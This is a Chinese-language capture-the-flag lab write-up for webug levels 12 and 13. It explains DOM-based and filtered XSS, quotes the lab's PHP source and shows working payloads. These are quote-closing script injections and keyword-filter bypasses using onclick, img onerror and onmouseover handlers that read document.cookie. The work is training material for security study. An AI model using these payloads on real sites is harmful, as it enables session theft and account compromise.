目录
本文通过《webug靶场第12关 DOM型XSS和13关 过滤型XSS》来进行渗透实战。
第12关 DOM型XSS
1.DOM型XSS
DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。基于DOM文档对象模型的一种漏洞。
在网站页面中有许多页面的元素,当页面到达浏览器时浏览器会为页面创建一个顶级的Document object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑从而修改页面的元素。也就是说,客户端的脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。基于这个特性,就可以利用JS脚本来实现XSS漏洞的利用。
DOM XSS的XSS代码并不需要服务器解析响应的直接参与,触发XSS靠的就是浏览器端的DOM解析,可以认为完全是客户端的事情,无法通过WAF防护
2.打开靶场
http://192.168.71.129:8006/control/xss/dom_xss.php
随手输入hello,在页面中邮件元素,搜索框中输入hello查询,找到如下内容
将这段内容打印出来,如下所示尝试构造闭合
<input name="search" value="hello" required="" type="text">
value输入参数的闭合方式为前面为">,右面闭合方式为"<如下所示
<input name="search" value="hello" required="" type="text">
故而对这个注入语句 <script>alert(document.cookie)</script>构造闭合
(1)闭合方法1
" > <script>alert(document.cookie)</script>#
(2)闭合方法2
" > <script>alert(document.cookie)</script><name="
3.源码分析
如下所示,根据源码如果search传入的内容包含获取cookie的alert函数调用的XSS注入语句,即会返回flag
<?php
require_once "../../common/common.php";
if (!isset($_SESSION['user'])) {
header("Location:../login.php");
}
setcookie("flag", "", time() - 1);
if (isset($_POST["search"])) {
if (!empty($_POST['search'])) {
if (strstr($_POST['search'], 'alert')){
$sql = "SELECT * FROM env_list WHERE envName LIKE '%DOM型xss%'";
$res = $dbConnect->query($sql);
$row = mysqli_fetch_assoc($res);
setcookie("flag", $row['envFlag']);
}
}
}
require_once TPMELATE."/dom_xss.html";
4.渗透实战
(1)闭合方法1
构造注入命令
" > <script>alert(document.cookie)</script>#
输入命令到search框内
如下所示,渗透成功g
(2)闭合方法2
构造注入命令
" > <script>alert(document.cookie)</script><name="
输入命令到search框内
如下所示,渗透成功
第13关 过滤型XSS
1.打开靶场
http://192.168.71.129:8006/control/sqlinject/filter_injection.php
修改id内容为hello
很明显漏洞与反射型XSS漏洞类型,很可能有XSS注入漏洞,接下来尝试注入第13关卡的方式注入
id=<script>alert(document.cookie)</script>
不过却渗透时吧,提示请不要包含恶意函数,看来有关键字过滤。
2.源码分析
如下所示,输入参数为id,当参数包含alert的XSS注入语句时,将flag放入到cookie中。如下所示对参数id进行小写处理,并且包含script关键字时被过滤
<?php
require_once "../../common/common.php";
if (!isset($_SESSION['user'])) {
header("Location:../login.php");
}
setcookie("flag", "", time() - 1);
if (isset($_GET["id"])) {
if (!empty($_GET["id"])) {
$id = strtolower($_GET['id']);
if (strstr($id, 'script')) {
header("Content-type:text/html;charset=utf-8");
echo "<script>alert('请不要包含恶意函数')</script>";exit();
}elseif (strstr($_GET['id'], 'alert')){
$sql = "SELECT * FROM env_list WHERE id = 9";
$res = $dbConnect->query($sql);
$row = mysqli_fetch_assoc($res);
setcookie("flag", $row['envFlag']);
}
}
}
require_once TPMELATE."/xss_1.html";
输入参数为id,根据提示应该构造如下注入命令
<script>alert(document.cookie)</script>
很明显因为如下代码会注入失败
if (strstr($id, 'script')) {
header("Content-type:text/html;charset=utf-8");
echo "<script>alert('请不要包含恶意函数')</script>";exit();
}
通常来将script关键字被过滤,会考虑大小写绕过,比如如下方式
<Script>alert(document.cookie)</sCript>
不过因为如下源码,将参数id的内容小写后再过滤
$id = strtolower($_GET['id']);
故而也会渗透失败
故而在渗透过程中,需要考虑使用无script关键字的XSS注入语句
$id = strtolower($_GET['id']);
3.渗透实战
(1)渗透方法1
考虑使用无script关键字的XSS注入语句,那么我们使用onclick的XSS脚本,如下所示
<li/onclick=alert(document.cookie)>ljn</li>
完整url如下所示
http://192.168.71.1/webug4/control/xss/filter_xss.php?id=<li/onclick=alert(document.cookie)>ljn</li>
如下点击ljn,注入成功
(2)渗透方法2
利用img标签和onerror配合来进行绕过,由于页面不存在路径为/1的图片,因此直接加载会出错,触发onerror并且执行代码
<img src=1 onerror=alert(document.cookie)>
注入语句 如下所示,
http://192.168.71.129:8006/control/xss/filter_xss.php?id=<img src=x onerror=alert(document.cookie)>
渗透获取到flag
(3)渗透方法3
利用img标签和onmouseover配合来进行绕过
<img src=x onmouseover=alert(document.cookie)>
注入语句 如下所示,
http://192.168.71.129:8006/control/xss/filter_xss.php?id=<img src=x onmouseover=alert(document.cookie)>
将鼠标移动到图标处
如下所示弹出XSS注入命令,获取到flag